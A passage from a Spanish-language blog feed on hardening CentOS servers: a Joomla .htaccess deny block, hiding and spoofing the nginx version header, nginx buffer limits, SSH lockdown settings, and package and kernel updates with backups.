&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border: 1px solid silver; cursor: text; direction: ltr; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding: 4px; width: 636.671875px;&quot;&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;border-style: none; direction: ltr; overflow: visible; padding: 0px; width: 636.671875px;&quot;&gt;
&lt;pre style=&quot;background-color: white; border-style: none; direction: ltr; margin: 0em; overflow: visible; padding: 0px; width: 636.671875px;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060; font-family: &#39;’courier new’&#39;, courier, monospace; font-size: 8pt; line-height: 12pt;&quot;&gt;   1:&lt;/span&gt;&lt;span style=&quot;font-family: ’courier new’, courier, monospace; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 12pt;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #f4f4f4; font-size: 11px; line-height: 16px;&quot;&gt;&lt;span style=&quot;color: blue; font-family: ’courier new’, courier, monospace;&quot;&gt;order deny,allow&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;border-style: none; direction: ltr; overflow: visible; padding: 0px; width: 636.671875px;&quot;&gt;
&lt;div style=&quot;font-family: &#39;’courier new’&#39;, courier, monospace; font-size: 8pt; line-height: 12pt;&quot;&gt;
&lt;/div&gt;
&lt;pre style=&quot;border-style: none; direction: ltr; margin: 0em; overflow: visible; padding: 0px; width: 636.671875px;&quot;&gt;&lt;span style=&quot;font-family: &#39;’courier new’&#39;, courier, monospace; font-size: 8pt; line-height: 12pt;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060;&quot;&gt;   2:&lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: blue; font-family: ’courier new’, courier, monospace;&quot;&gt;&lt;span style=&quot;font-size: 11px; line-height: 16px;&quot;&gt;deny from xxx.xxx.xxx.xxx&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;div style=&quot;font-family: &#39;’courier new’&#39;, courier, monospace; font-size: 8pt; line-height: 12pt;&quot;&gt;
&lt;/div&gt;
&lt;pre style=&quot;background-color: white; border-style: none; direction: ltr; margin: 0em; overflow: visible; padding: 0px; width: 636.671875px;&quot;&gt;&lt;span id=&quot;lnum3&quot; style=&quot;color: #606060; font-family: &#39;’courier new’&#39;, courier, monospace; font-size: 8pt; line-height: 12pt;&quot;&gt;   3:&lt;/span&gt;&lt;span style=&quot;font-family: ’courier new’, courier, monospace; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 12pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #f4f4f4; font-size: 11px; line-height: 16px;&quot;&gt;&lt;span style=&quot;color: blue; font-family: ’courier new’, courier, monospace;&quot;&gt;deny from .dominio.com&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre style=&quot;background-color: white; border-style: none; direction: ltr; margin: 0em; overflow: visible; padding: 0px; width: 636.671875px;&quot;&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-style: none; direction: ltr; margin: 0em; overflow: visible; padding: 0px; width: 636.671875px;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060; font-family: &#39;’courier new’&#39;, courier, monospace; font-size: 8pt; line-height: 12pt;&quot;&gt;   4:&lt;/span&gt;&lt;span style=&quot;font-family: ’courier new’, courier, monospace; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 12pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; font-size: 11px; line-height: 16px;&quot;&gt;&lt;span style=&quot;color: blue; font-family: ’courier new’, courier, monospace;&quot;&gt;allow from all&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;span style=&quot;font-family: Times New Roman;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
para no extender el post continuamremos con la segunda parte en otro&lt;br /&gt;
&lt;br /&gt;
seguir leyendo #Parte2</content><link rel='replies' type='application/atom+xml' href='http://antoniojorz.blogspot.com/feeds/1086848589263173767/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://antoniojorz.blogspot.com/2014/10/hardening-cms-joomla-centos-parte1.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/1086848589263173767'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/1086848589263173767'/><link rel='alternate' type='text/html' href='http://antoniojorz.blogspot.com/2014/10/hardening-cms-joomla-centos-parte1.html' title='Hardening CMS Joomla (CentOS) #Parte1'/><author><name>Atoio</name><uri>http://www.blogger.com/profile/05839122536208921999</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2FpSK-quCqsVk-odaIpkAEpbeWq3ZdH0cxzyxXoUMrIwz8G_lMydfMhmG366GhKq5qNksnX1H-D6xRMC3yj0HbfEpE55o2AS2pEJIvk8F-OUh2kXsdkdJ53JZaJwmg4ZftYNoxhT7Ifg/s72-c/1.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4993754786350617036.post-14893981844212296</id><published>2014-10-17T11:34:00.001-05:00</published><updated>2014-10-17T11:34:52.086-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="apache"/><category scheme="http://www.blogger.com/atom/ns#" term="aseguramiento"/><category scheme="http://www.blogger.com/atom/ns#" term="CentOS"/><category scheme="http://www.blogger.com/atom/ns#" term="hardening"/><category scheme="http://www.blogger.com/atom/ns#" term="kernel"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="nginx"/><category scheme="http://www.blogger.com/atom/ns#" term="plantilla"/><category scheme="http://www.blogger.com/atom/ns#" term="securizar"/><category scheme="http://www.blogger.com/atom/ns#" term="sistema operativos"/><category scheme="http://www.blogger.com/atom/ns#" term="SO"/><category scheme="http://www.blogger.com/atom/ns#" term="ssh"/><category scheme="http://www.blogger.com/atom/ns#" term="template"/><category scheme="http://www.blogger.com/atom/ns#" term="Unix"/><title type='text'>Hardening Sistema Linux (CentOS) #Parte3</title><content type='html'>Continuando con la plantilla de aseguramiento de Servidores con sistema CentOS&lt;br /&gt;
Leer las:&amp;nbsp;&lt;a href=&quot;http://antoniojorz.blogspot.com/2014/10/hardening-sistema-linux-centos-parte1.html&quot; target=&quot;_blank&quot;&gt;#Parte1&lt;/a&gt;&amp;nbsp;&lt;a href=&quot;http://antoniojorz.blogspot.com/2014/10/hardening-sistema-linux-centos-parte2.html&quot; target=&quot;_blank&quot;&gt;#Parte2&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;8&lt;span style=&quot;color: windowtext; font-family: Calibri, sans-serif;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;Hardening de Nginx&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Lo primero de asegurar en este servidor web es su versión, para eso eliminaremos información que identifique la versión de nginx lo más posible. Y así evitar buscarle vulnerabilidades a dicha versión.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Para eliminar el número de versión en la configuración especificamos la siguiente directiva en el archivo de configuración de nginx:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;nginx.conf&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Entre &lt;b&gt;http&lt;/b&gt; agregamos lo siguiente:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;server_tokens off;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;Ejemplo:&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;http&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;{&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;...&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;server_tokens off;&lt;/b&gt;&lt;/div&gt;
&lt;b&gt;...&lt;br /&gt;}&lt;/b&gt;&lt;br /&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;Verdana&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 10.0pt; line-height: 115%; mso-ansi-language: ES-CO; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin;&quot;&gt;Con
el comando &lt;b&gt;Curl –I &lt;/b&gt;&amp;nbsp;podemos verificar que la versión del servidor
web esta oculta&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;img src=&quot;https://imagizer.imageshack.us/v2/416x176q50/673/AIM0ZE.png&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Para coadyuvar a la seguridad del servidor web se deben haber configurado las siguientes opciones del archivo &lt;b&gt;sysctl.conf.&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;• Evitar ataques smurf&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;• Evitar ataques SYN Flood&lt;/b&gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
verificamos el archivo de configuración. con el comando &lt;b&gt;/opt/server/nginx/sbin/nginx -t &lt;/b&gt;ó&amp;nbsp;dependiendo de la ubicación de su instalación,&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
ahora ademas de la versión ocultemos que usamos web server nginx al atacante, es editar el fichero &lt;b&gt;src/http/ngx_http_header_filter_module.c&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&lt;div&gt;
y buscamos las líneas:&lt;br /&gt;
&lt;div&gt;
&lt;div&gt;
&lt;b&gt;static char ngx_http_server_string[] = “Server: nginx” CRLF;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;static char ngx_http_server_full_string[] = “Server: ” NGINX_VER CRLF;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
Y las cambiamos por ejemplo por estas otras, podemos poner la cabecera que queramos yo por ejemplo simulare tener un webserver Apache.&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;static char ngx_http_server_string[] = “Server: Apache” CRLF;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;static char ngx_http_server_full_string[] = “Server: Apache ” CRLF;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
Salvamos el fichero y compilamos de nuevo&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;8.1&lt;span style=&quot;color: windowtext; font-family: Calibri, sans-serif;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;Controlar los ataques de desbordamiento de búfer&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Editar &lt;b&gt;nginx.conf &lt;/b&gt;y establecer las limitaciones de tamaño de búfer para todos los clientes&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border: 1px solid silver; cursor: text; direction: ltr; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding: 4px; text-align: left; width: 97.5%;&quot;&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-style: none; direction: ltr; overflow: visible; padding: 0px; text-align: left; width: 100%;&quot;&gt;
&lt;pre style=&quot;background-color: white; border-style: none; direction: ltr; margin: 0em; overflow: visible; padding: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060; font-family: &#39;’courier new’&#39;, courier, monospace; font-size: 8pt; line-height: 12pt;&quot;&gt;   1: &lt;/span&gt;&lt;span style=&quot;background-color: #f4f4f4; font-size: 11px; line-height: 16px;&quot;&gt;&lt;span style=&quot;color: #606060; font-family: ’courier new’, courier, monospace;&quot;&gt;&lt;b&gt;## Start: Size Limits &amp;amp; Buffer Overflows ##&lt;/b&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060; font-family: &#39;’courier new’&#39;, courier, monospace; font-size: 8pt; line-height: 12pt;&quot;&gt;   2: &lt;/span&gt;&lt;span style=&quot;background-color: #f4f4f4; font-size: 11px; line-height: 16px;&quot;&gt;&lt;span style=&quot;color: #606060; font-family: ’courier new’, courier, monospace;&quot;&gt;client_body_buffer_size  1K;
&lt;/span&gt;&lt;/span&gt;&lt;span id=&quot;lnum3&quot; style=&quot;color: #606060; font-family: &#39;’courier new’&#39;, courier, monospace; font-size: 8pt; line-height: 12pt;&quot;&gt;   3:&lt;/span&gt;&lt;span style=&quot;font-family: &#39;’courier new’&#39;, courier, monospace; font-size: 8pt; line-height: 12pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: #f4f4f4; font-size: 11px; line-height: 16px;&quot;&gt;&lt;span style=&quot;color: #606060; font-family: ’courier new’, courier, monospace;&quot;&gt;client_header_buffer_size 1k;
&lt;/span&gt;&lt;/span&gt;&lt;span id=&quot;lnum3&quot; style=&quot;color: #606060; font-family: &#39;’courier new’&#39;, courier, monospace; font-size: 8pt; line-height: 12pt;&quot;&gt;   4:&lt;/span&gt;&lt;span style=&quot;font-family: &#39;’courier new’&#39;, courier, monospace; font-size: 8pt; line-height: 12pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: #f4f4f4; font-size: 11px; line-height: 16px;&quot;&gt;&lt;span style=&quot;color: #606060; font-family: ’courier new’, courier, monospace;&quot;&gt;client_max_body_size 1k;
&lt;/span&gt;&lt;/span&gt;&lt;span id=&quot;lnum3&quot; style=&quot;color: #606060; font-family: &#39;’courier new’&#39;, courier, monospace; font-size: 8pt; line-height: 12pt;&quot;&gt;   5:&lt;/span&gt;&lt;span style=&quot;font-family: &#39;’courier new’&#39;, courier, monospace; font-size: 8pt; line-height: 12pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: #f4f4f4; font-size: 11px; line-height: 16px;&quot;&gt;&lt;span style=&quot;color: #606060; font-family: ’courier new’, courier, monospace;&quot;&gt;large_client_header_buffers 2 1k;
&lt;/span&gt;&lt;/span&gt;&lt;span id=&quot;lnum3&quot; style=&quot;color: #606060; font-family: &#39;’courier new’&#39;, courier, monospace; font-size: 8pt; line-height: 12pt;&quot;&gt;   6:&lt;/span&gt;&lt;span style=&quot;font-family: &#39;’courier new’&#39;, courier, monospace; font-size: 8pt; line-height: 12pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: #f4f4f4; font-size: 11px; line-height: 16px;&quot;&gt;&lt;span style=&quot;color: #606060; font-family: ’courier new’, courier, monospace;&quot;&gt;&lt;b&gt;## END: Size Limits &amp;amp; Buffer Overflows ##&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;font-family: &#39;’courier new’&#39;, courier, monospace; font-size: 8pt; line-height: 12pt;&quot;&gt;
&lt;!--CRLF--&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Cuando,&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;client_body_buffer_size&lt;/b&gt; &amp;nbsp;(por defecto es 8k y 16k) La directiva especifica el tamaño del búfer de solicitud.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;client_header_buffer_size&lt;/b&gt; &amp;nbsp;establece el tamaño headerbuffer para el encabezado de las solicitudes del cliente. Para la mayoría de las solicitudes un tamaño de búfer de 1K es suficiente. Se puede aumentar este valor si se tiene un header o una cookie grande enviado por el cliente (por ejemplo, el cliente de wap).&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;client_max_body_size&lt;/b&gt; &amp;nbsp;asigna el tamaño corporal máximo aceptado la petición del cliente, indica la línea Content-Length en el encabezado de la solicitud.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;large_client_header_buffers&lt;/b&gt; asigna el número máximo y el tamaño de los búferes de header’s grandes, para leer a partir de la petición del cliente. Por defecto, el tamaño de una memoria intermedia es igual al tamaño de la página, dependiendo de la plataforma ya sea esta 4K o 8K, si al final de la petición de conexión de trabajo convierte al estado de mantenimiento de conexión, a continuación, se liberan estos tampones. 2x1k aceptan URI datos 2kB. Esto también ayudará a combatir el mal bots y ataques de denegación de servicio.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;9&lt;span style=&quot;color: windowtext; font-family: Calibri, sans-serif;&quot;&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;Hardening SSH&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Para fortalecer la seguridad de un servicio SSH, existen ciertas medidas que deben implementarse con el fin de evitar o dificultar ataques contra la infraestructura.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
En primer lugar, para implementar casi todas las medidas de seguridad que se mencionan a continuación, se debe conocer el fichero de configuración del servidor SSH, que normalmente se encuentra ubicado en &lt;b&gt;&quot;/etc/ssh/sshd_config&quot;&lt;/b&gt;.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Usar contraseñas Fuertes:&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Comúnmente los primeros intentos de los atacantes es tratar de acceder para adivinar su nombre de &lt;b&gt;usuario/contraseña&lt;/b&gt;. Típicamente un atacante escaneará el &lt;b&gt;puerto 22&lt;/b&gt; (el puerto por defecto por el cual ssh escucha) para encontrar máquinas que estén corriendo ssh, y entonces intentarán un ataque de fuerza-bruta contra esta.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Deshabilitar el acceso como root&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
La configuración del servidor SSH se encuentra almacenada en el fichero &lt;b&gt;/etc/ssh/sshd_config.&lt;/b&gt; Para deshabilitar el acceso de root, asegúrese de tener la siguiente entrada&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;b&gt;#Prevent root logins:&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;PermitRootLogin no&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
Y reiniciar el servicio sshd:&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;service sshd restart&lt;/b&gt; o&lt;b&gt;/etc/init.d/sshd restart&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
Si se requiere acceder como root, se debe acceder como un usuario normal y hacer uso del comando SU.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Usar un Puerto No-Estándar&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Por defecto, SSH escucha las conexiones entrantes en el puerto 22. Para que un atacante determine si SSH se está ejecutando en su máquina, lo más probable es que escanee el puerto 22.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Un método efectivo es ejecutar ssh en un puerto no-estándar. Cualquier puerto sin usar funcionará, pero es preferible usar uno por encima del 1024.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Para hacer los cambios añada una línea como está a su fichero &lt;b&gt;/etc/ssh/sshd_config:&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;# Ejecutar ssh en un puerto No-Estándar:&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;Port 2345&amp;nbsp;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Y reiniciamos el servicio SSH&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;Service sshd restart&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Recuerde hacer cualquier cambio necesario a los puertos de reenvío en su enrutador y a cualquier regla aplicable al cortafuego&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Filtrar SSH en el Cortafuegos&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Si solamente se requiere tener acceso desde algunas direcciones IP, entonces consideremos la posibilidad de adicionar una regla en el cortafuego de su enrutador o en el de su iptables para limitar el acceso al puerto de SSH a una dirección IP específica. Por ejemplo, en iptables esto podría realizarse con la siguiente regla:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;iptables -A INPUT -p tcp -s 72.232.194.162 --dport 22 -j ACCEPT&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
En mi caso simplemente nos dirigimos al administrador de firewalls (FWbuilder) y agregamos la ip y puerto en las políticas del firewall.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Número máximo de intentos de conexión&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Definir un número bajo de intentos de autenticación, reduce el riesgo y evidentemente el éxito, de ataques por fuerza bruta.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Editar el archivo &lt;b&gt;/etc/ssh/sshd_config &lt;/b&gt;añadir o modificar:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;MaxAuthTries 3&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Se definen 3 intentos de autenticación máximos.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b style=&quot;text-align: start;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;10&lt;span style=&quot;color: windowtext; font-family: Calibri, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;A&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;ctualización de paquetes, Kernel y Sistema Operativo&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
La aplicación de los parches de seguridad es una parte importante del mantenimiento de servidores Linux.&lt;/div&gt;
&lt;div&gt;
Haremos uso del gestor de paquetes de yum tratándose de distribuciones basadas en RED HAT&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;yum –y update&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Actualización de paquetes y kernel&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Mantener los paquetes y kernel actualizados es un paso que nos ayuda a mantener nuestros servidores en buen estado y con los últimos parches de seguridad.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Antes de realizar una actualización de Kernel se debe realizar un backup de la información necesaria.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;• Backup / etc diretory&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;• Copia de seguridad de los registros importantes / var / log&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;• Configuraciones de servidor de copia de seguridad y sitios web&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;• Volcado de bases de datos&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;• Copia de todos lo que la empresa o el administrador necesita si algo sale mal&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
